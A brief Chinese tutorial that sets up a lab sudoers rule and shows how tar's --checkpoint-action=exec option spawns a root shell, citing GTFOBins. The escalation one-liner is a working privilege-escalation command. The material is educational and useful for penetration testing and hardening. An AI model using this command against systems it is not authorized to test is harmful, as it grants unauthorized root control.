tar提权，--checkpoint和--checkpoint-action参数

在tar命令拥有root用户或者高权限的执行用户权限时，可以配合--checkpoint和--checkpoint-action参数进行权限的提升

环境部署：
创建一个jackson用户并设置密码

useradd jackson
passwd jackson

在/etc/sudoers文件中加入该配置项

jackson ALL=(root) NOPASSWD: /bin/tar

切换到jackson用户使用sudo -l查看权限

可以看到jackson用户可以使用tar命令

tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

/bin/sh为需要执行的命令，执行whoami

参考：https://gtfobins.github.io/gtfobins/tar/